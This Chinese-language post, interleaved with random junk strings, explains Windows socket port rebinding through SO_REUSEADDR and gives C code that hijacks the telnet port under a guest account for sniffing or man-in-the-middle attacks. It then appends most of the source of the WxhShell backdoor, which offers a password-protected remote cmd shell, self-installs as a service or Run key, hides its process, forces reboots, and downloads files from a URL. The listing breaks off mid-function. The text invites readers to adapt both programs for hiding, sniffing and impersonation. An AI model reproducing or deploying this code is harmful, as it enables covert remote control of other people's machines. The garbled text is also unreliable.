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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~L1O\V
i s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ArEpH"}@ `8-aHPF- saddr.sin_family = AF_INET; 6?lg
6a/eO rNAu@B saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fv: %"P^ h<M7[p= bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 98]t"ny [ 0
mQ3P.9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <8bO1t^* sHuz10 这意味着什么?意味着可以进行如下的攻击: V588Leb? qh'BrYu* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 JA}'d7yEa ?
1{S_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @Otc$hj KCu6:)6' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^ZlV1G;/W@ ]~zJ7I 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 h=tu+pn 16y$;kf8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YUb,5Y0 L,Nr,QC- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z|<oxF. Z)A+ wM 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 V[M#qZS acZHb[w #include 6'ZnyWb #include M;Rw]M #include gB(W`:[ #include ~
t
H s+ DWORD WINAPI ClientThread(LPVOID lpParam); TxvPfU? int main() kn"x[{d { c #!6 WORD wVersionRequested; $ddYH DWORD ret; >l1Yhxd_0* WSADATA wsaData; IpJ v\zH7 BOOL val; w'0M>2 SOCKADDR_IN saddr; 0%F.]+6[O4 SOCKADDR_IN scaddr; PQ]9xzOg[ int err; AL7O -D SOCKET s; O-5U|wA SOCKET sc; }Yl=lcvw int caddsize; E?mp6R]}% HANDLE mt; gL"}5 3A DWORD tid; `Cf
en8 wVersionRequested = MAKEWORD( 2, 2 ); -9I% err = WSAStartup( wVersionRequested, &wsaData ); \ Sby(l if ( err != 0 ) { }tZAU\z printf("error!WSAStartup failed!\n"); N)*e^Nfb return -1; ug,|'<G+ } D:E_h saddr.sin_family = AF_INET; ?v8k& q^q X@&uu0JJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wKlCx "T
u[n\8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #6jwCEo=V saddr.sin_port = htons(23); &] 6T^. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _0["J:s9 { /A.i5=k printf("error!socket failed!\n"); PL$F;d return -1; UMwMXmZNJ } .4W>9
8 val = TRUE; P i!r}m //SO_REUSEADDR选项就是可以实现端口重绑定的 6a7iLQA if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {l&2Kd* { yn[ZN-H~ printf("error!setsockopt failed!\n"); bDS1'Ce return -1; ^(JHRH~=h } 8@KFln )[ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SWsv, //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qf>Pb$c$U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mMAr8~A= B9Q.s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XHM"agrhSQ { ].P(/~FS9 ret=GetLastError(); }l?_Cfvu printf("error!bind failed!\n"); U<Y'.! return -1; T;r];Y(b* } (OcNC/9 listen(s,2); 25c!-.5D while(1) .0E4c8R\X { B;]5,`#! caddsize = sizeof(scaddr); )UZ0gfx //接受连接请求 wLN2`ucC sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ZV]e- if(sc!=INVALID_SOCKET) ,(27p6! { Fg\| e% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \e8*vos if(mt==NULL) s]vJUC,s { Sje0:;;| printf("Thread Creat Failed!\n"); `ab\i`g9 break; Y0yO`W4 } \seG2vw$ } pb6^sA%l CloseHandle(mt); `vxrC&,As } {&EZ>r- closesocket(s); ^=Ct Aa2 WSACleanup(); zO5u{ return 0; QcG5PV } EhPVK6@ DWORD WINAPI ClientThread(LPVOID lpParam) C$td{tM { #G+ SOCKET ss = (SOCKET)lpParam; -Bo~"q SOCKET sc; TflS@Z7C unsigned char buf[4096]; 9g
&Ch9-/ SOCKADDR_IN saddr; W+f&%En long num; @ZkAul0@ DWORD val; IO!1|JMr6 DWORD ret; )=E~CpKV //如果是隐藏端口应用的话,可以在此处加一些判断 a5}44/% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 9^QYuf3O saddr.sin_family = AF_INET; wz*A<iU saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #}!>iFBcH saddr.sin_port = htons(23); u:uSsAn0$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q= yZx) { 3']:1B printf("error!socket failed!\n"); }K/}(zuy1Y return -1; .eabtGO, } R=amKLD? val = 100; 4-+ozC{ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,M@m4bx { nK h%E-c ret = GetLastError(); [%84L@:h return -1; $EQT"ZX>%i } [|[sYo if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) > 1r[]&8 { YNg\"XjJM< ret = GetLastError(); |)?aH2IL return -1; KZ!N{.Jk } g|._n if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fATA%eA8; { H6ky)kF& printf("error!socket connect failed!\n"); &V#z kW closesocket(sc); {yHB2=nI closesocket(ss); gR;8ht(pd( return -1; WS1&3mOd } prlyaq;4 while(1) G/fP(o-Wd { ! 2Xr~u7a //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rv,NQZ //如果是嗅探内容的话,可以再此处进行内容分析和记录 6MQs \ J6. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NF/Ti5y num = recv(ss,buf,4096,0); rwL=R, if(num>0) %jZp9}h send(sc,buf,num,0); MvZ+n else if(num==0)
<84C tv break; 5y%un num = recv(sc,buf,4096,0); hY.e [+ if(num>0) jSie&V@ px send(ss,buf,num,0); ^Y{6;FJ else if(num==0) xTJSr2f break; #a(%(k S } pkXfsi-Nu closesocket(ss); #h gmUa closesocket(sc); H~?*KcZ 0\ return 0 ; L}}=yh6r } 29a_ZU7e6 hJw
|@V YN%=Oq ========================================================== j<ABO")v qe5tcv}u 下边附上一个代码,,WXhSHELL stg30>< !F+|Y"c ========================================================== U|Bsa(?nx
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#include "stdafx.h" &G-#*OG mUrS&&fu8 #include <stdio.h> ?w]"~ #include <string.h> FJsK5- #include <windows.h> ?kL|>1TY #include <winsock2.h> 1V|< A #include <winsvc.h> &/>;LgN #include <urlmon.h> n|70x5Z?}J $` Z>Lm* #pragma comment (lib, "Ws2_32.lib") S'Z70 zJ #pragma comment (lib, "urlmon.lib") tt6.
jo yhcNE8mkQ/ #define MAX_USER 100 // 最大客户端连接数 MAE7A"la #define BUF_SOCK 200 // sock buffer {D_++^ #define KEY_BUFF 255 // 输入 buffer xSpMyXrQ ny12U;'s, #define REBOOT 0 // 重启 (dzH3_U #define SHUTDOWN 1 // 关机 J3/\<=Qh [x;(cISK1 #define DEF_PORT 5000 // 监听端口 ydwK!j0y FOOQ'o[} #define REG_LEN 16 // 注册表键长度 IajD;V #define SVC_LEN 80 // NT服务名长度 (KT38RhA
@sc8}"J]# // 从dll定义API k{gl^ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "/ tUA\=j typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?,ZELpg n typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K\RWC4 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \%sPNw=e AMbKN2h1f // wxhshell配置信息 DMF?5GX struct WSCFG { W(;x\Nc7 int ws_port; // 监听端口 zKIGWH=qqm char ws_passstr[REG_LEN]; // 口令 !oZQ2z~ int ws_autoins; // 安装标记, 1=yes 0=no %04:z77 char ws_regname[REG_LEN]; // 注册表键名 i{o#3 char ws_svcname[REG_LEN]; // 服务名 y;Qy"-)qb char ws_svcdisp[SVC_LEN]; // 服务显示名 D:=t*2-Iv char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^cYStMjpy char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h&)fu{ int ws_downexe; // 下载执行标记, 1=yes 0=no r_b8,I6{] char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" QCeMKjCmY char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JB&G~7Q85 y,MPGW_ }; Z5((1J9 jCU=+b= // default Wxhshell configuration \Dn&"YG7 struct WSCFG wscfg={DEF_PORT, B4`2.yRis "xuhuanlingzhe", qBT_!
)h
1, &MCy.(jN "Wxhshell", }5Yj "Wxhshell", #v{ Y=$L "WxhShell Service", T"n{WmVQ "Wrsky Windows CmdShell Service", yC0C`oC "Please Input Your Password: ", JZ `>|<W 1, 8O,?|c=> " http://www.wrsky.com/wxhshell.exe", ^'m\D; "Wxhshell.exe" :1:3Svb<Y }; 8]S,u:E:N 3^{8_^I // 消息定义模块 ~j=xi P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0CT}DQ._^N char *msg_ws_prompt="\n\r? for help\n\r#>"; AT"!{Y "H char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Vwjk[ DOL char *msg_ws_ext="\n\rExit."; ov8
ByJc char *msg_ws_end="\n\rQuit."; {}V$`L8 char *msg_ws_boot="\n\rReboot..."; 7; p4Wg7k} char *msg_ws_poff="\n\rShutdown..."; `YPe^!`$ char *msg_ws_down="\n\rSave to "; 9/#0?(K8 1o8wy_eSs char *msg_ws_err="\n\rErr!"; 0s1'pA' char *msg_ws_ok="\n\rOK!"; G3G/xC" <>%,}j
9 char ExeFile[MAX_PATH]; M(yH%i^A int nUser = 0; rVY?6OMkd HANDLE handles[MAX_USER]; t{!/#eQC int OsIsNt; 1j11|~ VM7 !0 SERVICE_STATUS serviceStatus; $H'8
#:[d_ SERVICE_STATUS_HANDLE hServiceStatusHandle; WP}ixcq# C@1CanL@3 // 函数声明 Q8p=!K int Install(void); tE@FvZC'= int Uninstall(void); l';pP^.q int DownloadFile(char *sURL, SOCKET wsh); ;(7-WnU8N int Boot(int flag); C\7u<2c void HideProc(void); ~8TF*3[}[ int GetOsVer(void); 2Zy_5>~ int Wxhshell(SOCKET wsl); qpI]R void TalkWithClient(void *cs); nP<S6:s: int CmdShell(SOCKET sock); S.{fDcM int StartFromService(void); K}x_nW int StartWxhshell(LPSTR lpCmdLine); 1pK6=-3w3 ^K+:C;Q| VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jm4#V~w VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5k]XQxc6_ w!\3ICB // 数据结构和表定义 TXjloGv^ SERVICE_TABLE_ENTRY DispatchTable[] = _K'7(d0z { JBz}|MD {wscfg.ws_svcname, NTServiceMain}, k'Gw!p} {NULL, NULL} %<ic%gt`# }; TjxA#D) L1sqU-gt // 自我安装 /Y,r@D int Install(void) F|Q H { zN%97q_ char svExeFile[MAX_PATH]; yG\UW&P HKEY key; ,9d9_c.T strcpy(svExeFile,ExeFile); /%!~x[BeJ> ND5$bq Nu? // 如果是win9x系统,修改注册表设为自启动 \@K~L4> if(!OsIsNt) { eX"''PA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e # 5BPI RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dy<27 = RegCloseKey(key); gyev5txn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z,
T#, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rFey4zzz RegCloseKey(key); pLnB)z? return 0; h./P\eDc } wO7t!35 } 4 /'N|c. } =\Iu$2r` else { Pz%~ST a[sKE? // 如果是NT以上系统,安装为系统服务 hd2'AlB SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^]>aHz9 if (schSCManager!=0) %D`o { yS!(Ap SC_HANDLE schService = CreateService )MSZ2)( ( @E%DP9.I schSCManager, L[y Pjw:0 wscfg.ws_svcname, -R0/o7 wscfg.ws_svcdisp, zT[6eZ8m SERVICE_ALL_ACCESS, &J$##B SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (u&`Ij9 SERVICE_AUTO_START, OX\$ nQ\o SERVICE_ERROR_NORMAL, W\8Ln> svExeFile, T_LLJ}6M NULL, $'{=R 45Z NULL, jnJZ#=) NULL, ]a?bzOr, NULL, $shp(T,q NULL t>xd]ti ); (RE2I if (schService!=0) U%>'" { _Zc4=c,K CloseServiceHandle(schService); bMm3F%FFq& CloseServiceHandle(schSCManager); 'c %S!$P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d(;4`kd*N strcat(svExeFile,wscfg.ws_svcname); D."=k{r. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %d2!\x%bG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z)-c#F@% RegCloseKey(key); W2]TRO return 0; rjk ( X|R* } 0fArF* } oehaQ#e CloseServiceHandle(schSCManager); z wk.bf>m } Y3Oz'%B } d
~`V7B2Y g`0moXz return 1; n lGHT } G$bJ+ W\cjdd // 自我卸载 ,SUT~oETP int Uninstall(void) )d`mvZBn1 { I:l01W; HKEY key; +v7) 1y Kct@87z if(!OsIsNt) { !wE}(0BTx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KpHw-6" RegDeleteValue(key,wscfg.ws_regname); BPv>$
m+. RegCloseKey(key); 4_^[=p/R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nh.32q] RegDeleteValue(key,wscfg.ws_regname); /M=3X|| RegCloseKey(key); *[}^[J
x return 0; /7"I#U^u/ } [k<1`z3 } {tiKH=&J } n3KI+I%nQ else { ZZxk]D< =QOg 6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5(m(xo6 if (schSCManager!=0) `yiC=$*[ { |~0UM$OB^3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i|WQ0fD if (schService!=0) 4hs)b { B?bW1 if(DeleteService(schService)!=0) { >jg0s)RA' CloseServiceHandle(schService); A8r^)QJP{ CloseServiceHandle(schSCManager); /F)H\* return 0; :-T*gqj| } -NJ!g/ >mM CloseServiceHandle(schService); 7[pBUDA } neZ.`"LV CloseServiceHandle(schSCManager); u]*0;-tz } % Zjdl } <0P5 o| r6Aneg7 return 1; Vvp[P> } iUi>y.}"P hX:"QXx // 从指定url下载文件 \ 0W!4D
int DownloadFile(char *sURL, SOCKET wsh) zUJZ`seF { h^UKT`9vt HRESULT hr; #W>QY Tp char seps[]= "/"; <AH1i@4 char *token; (V:E2WR char *file; V!_71x\-Q char myURL[MAX_PATH]; KqY["5p char myFILE[MAX_PATH]; uVE.,)xz q*7<)VwI strcpy(myURL,sURL); PNs~[ token=strtok(myURL,seps); =FP0\cQ. while(token!=NULL) 4GdX/6C. { 58Xzup_" file=token; NoE*/!Sr token=strtok(NULL,seps); ia @'%8 } (t+;O; ZBT1Y.qA GetCurrentDirectory(MAX_PATH,myFILE); 46@{5)Tq strcat(myFILE, "\\"); : 18KR*;p strcat(myFILE, file); !9Z r;K~\ send(wsh,myFILE,strlen(myFILE),0); DyJ.BQdk) send(wsh,"...",3,0); EOj"V'! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b?X.U}62_ if(hr==S_OK) l e4?jQQ@L return 0; +ZMls
[ else @mP]*$00 return 1; RGKYW>$0RR )Z 9E=% } 8Me:Yp_Xt PXzsj. // 系统电源模块 GPz(j'jU int Boot(int flag) c/N@zum,{ { "5R~(+~<@ HANDLE hToken; \MC-4Yz TOKEN_PRIVILEGES tkp; EP'h@zdz @hQlrq5c if(OsIsNt) { Q/uwQo/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g- AHdYJ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t7n(Qkrv tkp.PrivilegeCount = 1; Q1d'~e tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '. Ed`?<p AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !U9|x\BqJ2 if(flag==REBOOT) { h,aA w#NE* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ryF7 return 0; f"7O "6 } 3~ S'LxV else { IN8>ZV`j) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 00v&lQBW return 0; ]^':Bmq } |F,R&<2 } dI&!e#Y else { j`^$# if(flag==REBOOT) { IG)s^bP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;c~cet4 return 0; S#)Eom?V } /Jf.y*; else { L^2FQti> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dm0QcW4 return 0; 1XM^8 .; } ku$$ 1xq } Ya>oCr}K Gj"7s8(/K| return 1; t!*+8Q!e } d\x7Zw> 'WaPrCw@Mf // win9x进程隐藏模块 5`
Te\H void HideProc(void)
J)P$2# { i1H\#;`$ _^Mx>hb4. HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.ObZ\.I if ( hKernel != NULL ) u6>?AW1~ { G!K]W:m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hX`}Q4(k ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C<KrMRWh^ FreeLibrary(hKernel); (Yp+bS(PU* } %K(<$! pw7[y^[Qg return; @u==x*{| } 'F>'(XWWQ
NR;1z // 获取操作系统版本 ml \4xp, int GetOsVer(void) G}&Sle] { tOfg?)h{dc OSVERSIONINFO winfo; ]-ZEWt6lsc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); me[DmiM, GetVersionEx(&winfo); ylt`*|$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /pF`8$ return 1; oc8:r else T&Lb<'f return 0; ^i:`ZfA# } (aD_zG=k5 5:'hj$~|\1 // 客户端句柄模块 B}PIRk@a1 int Wxhshell(SOCKET wsl) pdE3r$C { ?LvCR_D: SOCKET wsh; zZVfj:i8 struct sockaddr_in client; z dO#0tN DWORD myID; PRz/inru- _YcA+3ZL while(nUser<MAX_USER) f=)2f= { (SKVuR%Jj int nSize=sizeof(client); aN"DkUYZM wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /yM:|`tT if(wsh==INVALID_SOCKET) return 1; m1Y>Nj[f a4irokJv# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R
{-5Etv if(handles[nUser]==0) {&"N%;`Q closesocket(wsh); 4;2< ^[M else o6V}$wT3J nUser++; H^YSJ6 } oWYmj=D~2z WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a'z) +nJUFc return 0; lo[.&GD }
foQ#a 6`f2-f9%iq // 关闭 socket >nzdnF_&zW void CloseIt(SOCKET wsh) ,yd?gP-O { Mbb x` closesocket(wsh); Nm|!#(L nUser--; o7|eMe?<t ExitThread(0); ]xuG&O"SBV } 0qX3v<+[6 {GC?SaK // 客户端请求句柄 &L^+BQ`O? void TalkWithClient(void *cs) 9uGrk^<t { qAw x2fPu fFc/
d( SOCKET wsh=(SOCKET)cs; Uw47LP char pwd[SVC_LEN]; St e=&^ char cmd[KEY_BUFF]; Y.*y9)#S6 char chr[1]; /iX+ R@ int i,j; 0{=`on; ,T2G~^0 while (nUser < MAX_USER) { -;'1^ R)c'#St if(wscfg.ws_passstr) { gvLf|+m if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nw-I|PVTNa //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]C) 4 //ZeroMemory(pwd,KEY_BUFF); ?mwD*LN3o i=0; 3`k;a1Z#O' while(i<SVC_LEN) { {~F4WjHJp B[KJR?> // 设置超时 aoXb2 2]{ fd_set FdRead; B'fb^n< struct timeval TimeOut; l,kUhZ@W FD_ZERO(&FdRead); #FNcF>3> FD_SET(wsh,&FdRead); lyGhdgWc TimeOut.tv_sec=8; JYTP
2 TimeOut.tv_usec=0; Y./2Ely int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JfR%L q~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m}X`> aD/ 1;{Rhu7*
k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vvm0t"|\ pwd =chr[0]; hRCed4qA if(chr[0]==0xd || chr[0]==0xa) { /Z$&pqs! pwd=0; >/8y GBD break; *NG+L)g } <WcR,d i++; U-|NY } uXKERzg Ry'= ke // 如果是非法用户,关闭 socket _A=$oVe if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~m$Y$,uH } )gMG#>up@ ~P@Q7T* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ypy68_xyW send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PS[+~>% ;A*`e$ while(1) { :3I@(k\PY #Y4=J
6 ZeroMemory(cmd,KEY_BUFF); 1~PV[2a
~/P&Tub^ // 自动支持客户端 telnet标准 \ioH\9 j=0; `|/<\ while(j<KEY_BUFF) { (_"*NY0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gntxNp[9T cmd[j]=chr[0]; TTKs3iTXz if(chr[0]==0xa || chr[0]==0xd) { *"{lMZ+ cmd[j]=0; RS^lKJ1 U break; }&[ } /\hzb/ j++; NB8/g0:=n& } |y2w9n0D Wh.?j>vB // 下载文件 /@,j232 if(strstr(cmd,"http://")) { OEkN(wF send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1#ft#-g} if(DownloadFile(cmd,wsh)) zlEX+=3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]VD|xm:kj else z&fwE$Nm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < Pky9o; }
b4QI)z else { ~W{2Jd "t~ switch(cmd[0]) { GhIKvX_N 28UU60 // 帮助 TL}++e
7+ case '?': { L:i-BI`J send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [m|YWT= break; :R~MO& } ~V\D|W9 // 安装 w.\&9]P3~ case 'i': { jW
3c" if(Install()) xo7Kn+ Kl send(wsh,msg_ws_err,strlen(msg_ws_err),0); /JWGifH else /K.!sQ$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pLLGus+W break; _t^{a]/H } T Kg aV;92 // 卸载
$7rq3y case 'r': { B Z?.D_bu if(Uninstall()) EV*IoE$W]= send(wsh,msg_ws_err,strlen(msg_ws_err),0); ''0fF_P else $3s@}vLd send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [<
&oF break; Y7*U:I+N } w%JTTru // 显示 wxhshell 所在路径 TX&Jt% case 'p': { @T'i/}nl char svExeFile[MAX_PATH]; ^h"`}[+ strcpy(svExeFile,"\n\r"); .O0+H+ strcat(svExeFile,ExeFile); jAm3HI
send(wsh,svExeFile,strlen(svExeFile),0); A m>cd; break; O8j_0 } Lcg)UcB-# // 重启 3%%o?8ES case 'b': { hHT_V2* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \uza=e if(Boot(REBOOT)) 8&)DE@W send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'U\<IL#U else { 6 1F(<! closesocket(wsh); !U'QqnT ExitThread(0); 3<
2}V } iC98_o_9 break; ck.w
5|$ } '<ZlGFt'n // 关机 OslL~< case 'd': { >U]C/P[+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >76\nGO if(Boot(SHUTDOWN)) =Q+=
f send(wsh,msg_ws_err,strlen(msg_ws_err),0); (}EB2V9Hh else {
/#VhkC _ closesocket(wsh); O4^8jK} ExitThread(0); uFPF!Ern } LRb{hUt= break; p%*%n3bw } ~==>pj // 获取shell @EnuJe case 's': { uoX:^'q
CmdShell(wsh); EB2!Hp uQ3 closesocket(wsh); -wSg2'b4E ExitThread(0); 1>E<8&2[L break; ZRg;/sX] }
SVB \ // 退出 ~,5gUl?Il case 'x': { 5[YDZ7g"~ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }5}.lJ: CloseIt(wsh); =W BTm break; 6u7?dG'4 } pm_u
// 离开 fi$-;Gz case 'q': { sU@nc!&Y@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); :=\Hoz closesocket(wsh); E~gyy]8& WSACleanup(); f,:9N 5Z exit(1); Ire\i7MF: break; Z3&_ } w &(|e < } l33Pm/V2? } O^^C;U@U<1 qpE&go=k' // 提示信息 5Drq9B9; if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _;UE9S% } \3S8 62B7 } lS'-xEv? ` M3w]qJ<} return; zN:K%AiGxe } f^"N!f a LkK~%tY // shell模块句柄 Gq }U|Z int CmdShell(SOCKET sock) '-"/ =j&d[ { j"'(sW- STARTUPINFO si; m|:_]/*qE ZeroMemory(&si,sizeof(si)); T2!6(,
s9 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K3x.RQQ- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7|[mz> "d PROCESS_INFORMATION ProcessInfo; vDxe/x% char cmdline[]="cmd"; B9H@e#[ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8'4S8DM return 0; "t_-f7fS7 } R]btAu;Z a8 mVFm // 自身启动模式 L"j
tf78 int StartFromService(void) < !dqTJos { yRfSJbzaf\ typedef struct KjE+QUa { !Y\D?rKZ DWORD ExitStatus; <RG|Dx[:= DWORD PebBaseAddress; DFd%9*N DWORD AffinityMask; NF0%}II&xK DWORD BasePriority; 8peDI7[| ULONG UniqueProcessId; \DD0s8 ULONG InheritedFromUniqueProcessId; x"{'&J[hx } PROCESS_BASIC_INFORMATION; tGl;@V@Qj pD01,5/ PROCNTQSIP NtQueryInformationProcess; FZtfh ?}a;}Q6 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S&\L-@ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .b-f9qc= K/3)g9Z&io HANDLE hProcess; 3T}izG] PROCESS_BASIC_INFORMATION pbi; ],JEBt XoCC/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /i-J&*6_ if(NULL == hInst ) return 0; ,;Hu=; t7?Zxq g_pEnumProcessModules = 